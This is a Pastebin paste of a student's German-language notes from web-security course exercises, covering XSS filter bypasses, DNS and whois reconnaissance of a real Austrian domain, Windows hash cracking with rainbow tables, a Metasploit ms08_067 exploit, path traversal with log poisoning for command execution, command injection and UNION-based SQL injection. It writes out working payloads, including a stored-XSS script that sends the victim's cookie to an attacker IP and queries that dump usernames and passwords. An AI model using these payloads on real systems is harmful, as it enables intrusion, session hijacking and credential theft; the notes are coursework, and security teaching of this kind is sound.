Advertisement
Guest User

pnt

a guest
Mar 19th, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.98 KB | None | 0 0
  1. Test 3 Lösung: <body onload="alert(1)"> hmtl entities wird hier mit dem Filter ENT_Quotes verwendet, der
  2. alle Einfachen und Doppeten Anführungszeichen filtert
  3.  
  4. Test8 url/?input=%20data%3Atext%2H
  5. Test9 bodyonload - Diesen Tag kennt er nicht, ich muss wieder ein Leerzeichen reinbekommen
  6. %20 = Leerzeichen, + ist in der URL ein Leerzeichen
  7. %2520 - wenn das deer Server einmal decodiert dann habe ich nur mehr %20 und wenn das die URL decodiert dann habe ich ein Leerzeichen
  8. Was wenn %20 nicht funzt also akzeptiert wird? einfach / verwenden - Browser akzeptiet an manchen Stellen das / als Leerzeichen
  9. Es muss von der URL Zeile in den Browser dekodiert werden
  10. Test10 bei onload fehlt ein = und die STerne fehlen auch
  11. Lösung - Doppelt Codieren - %25 vor 3D, der Stern ist 2A
  12. %25 - Doppelt URL Codiert
  13. Test 11 - Löscht mir einen r raus. Auch wenn ich es 2 mal codiere. Es gibt eine andere Codierung Variante - Unicode Codierung in Javascript geht nur in JS
  14. \u0072 - das ist dann mein r. die codierung ersetze ich für mein r in alert - =\u0072t
  15. Test 12 - Nicht umgehbar auf target12.gy - in der VM aber schon, weil die Seite eine neue php Version verwendet
  16. Hier habe ich html entity decode - das wird decodiert - wenn ich ein a als html entity schicke wird es als normales a decodiert
  17. special chars - alle Sytanx Elemente werden html entity codiert
  18. Er filtert % und Backslash, wenn diese Input vorkommt wird der Input gelöscht
  19. Special Chars erwartet einen gewissen zeichensatz UTF-8, alles andere wird gelöscht
  20. Wir könnten ein Umlaut eingeben und würden damit den Filter kaputt machen
  21. Ich gebe dass Umlaut am Anfang vom html tag rein - einfach ö eingeben- damit das ö mein Skript nicht kaputt macht
  22. Der letzte Test funzt bei allen
  23.  
  24. Test2 - ">< - Um aus dem a Tag auszubrechen und dann mein alert - "><body onload="alert(1)">
  25. Meine Lösung funzt auch weil es ein alter Browser ist: "<body onload="alert(1)">
  26. SOurce Code sieht dann so aus: <a href=""><body onload="alert(1)">">test2</a><br />
  27.  
  28. Test3 - javascript:alert(1) - Es werden zwar die HTML Entities gefiltert, jedoch kann ich mit javascript: trotzdem
  29. meinen Befehl ausführen, da hier nicht geprüft wird ob davor ein http steht und nicht überprüft ob da ein valider Link steht
  30.  
  31.  
  32.  
  33. Übungszettel
  34. 1) Zuhause versuchen da kein Net. nslookup - Website gehört Franz Leitner
  35. andere domains die auf glcihe IP Zeigen - dig www.hagenberg.at -cname: riskommunal.net
  36. whois riskommunal.net - damals nameserver: ns1.rts.at
  37. reverslookup dig -x 212.52.192.73 atNS1.RIS.AT - da kommen verschiedene Domains raus - zB web74.rismed.at
  38. wenn ich dann für jeden Eintrag abfrage host web74.rismed.at und schaue ob die IP stimmt.
  39. Oft stimmt nämlich nicht was ich abfrage
  40. whois hagenberg.ar funzt nicht weil ich bei whois nach dem Besitzer der Hauptdomain frage und hagenberg ist nur eine
  41. subdomain
  42. Letzte Aufgabe: Welche Domains gibt es noch auf der IP
  43. host www.hagenberg.at - Die IP gebe ich auf der Seite robtex.com ein - DOnwload Report here - Eine csv Datei und
  44. die zeigt mir was noch über die IP läuft - funzt über ein Virutal Hosting System, und somit können mehrere Websites
  45. hosten.
  46. Manche Telekom Server sind noch für Heartbleed anfällig
  47.  
  48. Banner Grabing
  49. ncat ip-adress - dann GET / HHTP/1.0
  50. oder nmap -O ip-adress
  51.  
  52. Mit winrtgn erstelle ich meine Rainbow Table
  53. Dann Rainbow Crack öffnen, Table auswählen und hash eingeben
  54.  
  55. Über pwdump kann ich die Hasehs meines Windossystem ausgeben lassen und diese dann wieder
  56. über Rainbowcrack knacken
  57. LM Hashes = Passwörter werden in Windows oft geteilt und jeweils mit DES verschlüsselt und ein LM Hash über den einen Teil
  58. und der Hash über den anderen Teil berechnet und einfach zusammenfegügt. Also brauch ich nur den ersten Teil
  59. über die Rainbowtable geknackt und der zweite dann wenn das PW länger ist als 7.
  60.  
  61. project-rainbowcrack.com - Verschiedene Hashtables für veschiedene Hashes zB LN oder NTLM
  62.  
  63. Metasploit: Exploits - windows - more - smb - shell - bindtcp - ms08_067_netapi - Target IP Adresse eingeben
  64.  
  65. Übung 6 URL Encdoding:
  66. Proxy im Firefox manuell konfigurieren, Port merken, Im Burp Auf Proxy und Options und meinen localhost editieren
  67. und den Port von Firefox verwenden, dann auf Intercept und die Requests abfangen und forwarden
  68. in Der HTTP History rechts Klich auf einen der Requests und auf send auf Repeater
  69. Lösung für GET: GET /params/params.php?var1=abc%2Bdef&var2=abc%26def&var3=abc?def HTTP/1.1
  70.  
  71. Gesamte Lösung für alle 3 Fälle:
  72.  
  73. POST /params/params.php?var1=abc%2Bdef&var2=abc%26def&var3=abc?def HTTP/1.1
  74. Host: localhost
  75. Content-Type: application/x-www-form-urlencoded
  76. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
  77. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  78. Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
  79. Accept-Encoding: gzip,deflate
  80. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  81. Keep-Alive: 300
  82. Referer: http://localhost/params/
  83. Connection: close
  84. Cookie: var1=abc%2Bdef; var2=abc%26def; var3=abc?def
  85. Content-Length: 42
  86.  
  87. var1=abc%2Bdef&var2=abc%26def&var3=abc?def
  88.  
  89. -- Ich kann im Post Request dennoch in meinem Header die GET Parameter mitschicken, und für den Body mache ich
  90. genau 2 Zeilenumbrüche und dann gebe ich meine Werte für den Post mit
  91. Das ? muss ich nicht codieren da es im Request bereits einmal vorkommt und es ohnehin nur einmal vorkommen kann
  92.  
  93. Übung 7
  94. Ich hinterlasse auf einem Server die Nachricht mit dem JS Code:
  95. Fucker
  96.  
  97. <script>var cook=document.cookie;
  98. document.write("<img src=\"http://10.29.19.59/xss?cook="+cook+"\">");</script>
  99.  
  100. und wenn der User Admin die Nachricht liest schickt er mir automatisch seinen Cookie an meine Adresse
  101. Dies kann ich dann im Apache access.log auslesen
  102.  
  103. oder:
  104. <img src="irgendeinscheiß" onerror("src='http://10.29.19.59/xss/logo.gif?'+document.cookie")>
  105. -- Ich kann hier als Foto Source irgendeinen Pfad eingeben, diesern wird der Browser nicht finden und
  106. mit der onerror Funktion definiere ich wo er das Bild nachladn kann und gib meine Adresse an
  107. zusätzlich sage ich logo.gif, dass beim Opfer dann ein Bild angezeigt wird und der Angriff noch unaufälliger
  108. wirkt
  109.  
  110. Übung 8
  111. http://localhost/finc/index.php?cat=/../../../../boot.ini%00
  112. Ich kann durch Path Traversal checken ob ich die boot.ini finde, %00 damit ich ihm sage dass nach ini
  113. abgeschnitten wird
  114. Command Execution siehe Seite 43
  115. Ich kann den GET Request manuell nicht eingeben weil der Browser keine Leerzeichen mitnimmt
  116. Deswegen mache ich den Request mit burp
  117.  
  118. Im Burp brauche ich nichts a nderes schicken als einen Request indem "<? passthru($_GET['cmd']) ?>" steht und sonst nichts
  119. dann finde ich im access.log den Code
  120. Ich mache dann Path Traversal und gehe soweit rauf bis sowieso iwann im root bin und dann suche ich
  121. mir das log.file und führe den command aus
  122. http://localhost/finc/index.php?cat=/../../../../../../../xampp/apache/logs/access.log%00&cmd=dir
  123. Wenn ich mir dann den Seitenquelltext anzeigen lasse sehe ich am Ende schön meine cmd ausgabe
  124. ich kann auch andere Befehle ein
  125.  
  126. Übung 9
  127. Wenn ich als Benutzername "# erzeugt er keinen Hash -> weil ich den Rest dadurch auskommentiere
  128. Mit Pipes kann ich 2 Befehle angeben zb dir || netstat, dann wird nestat nur ausgeführt wenn das dir
  129. kommando falsch wäre
  130. bei && führt er den zewiten Befehl aus wenn der erste korrekt war.
  131. mit "||dir# -> mit " breche ich aus den Bereich und ers wird dann dir ausgeführt, mein # kommentiert wieder den
  132. Rest aus.
  133. Im Passwort feld müsste ich folgendes eingeben: "&&dir #
  134.  
  135. Übung 10
  136. Im Search eingeben
  137. ' -- x
  138. ' order by 5 -- x -- Jetzt durchprobieren, bei 7 wird nicht angezeit, bei 6 schon noch also gibt es 6 Spalten
  139. ' union select 1,2,3,4,5,6 -- x Jetzt werden mir alles Spalten angezeigt
  140. Wenn ich eine bestimmte Spalter auslesen will dann sage ich statt dem 3 einfach 'username'
  141. ' union select 1,2,username,4,5,6 from users -- x
  142. ' union select 1,2,username,password,5,6 from users -- x
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement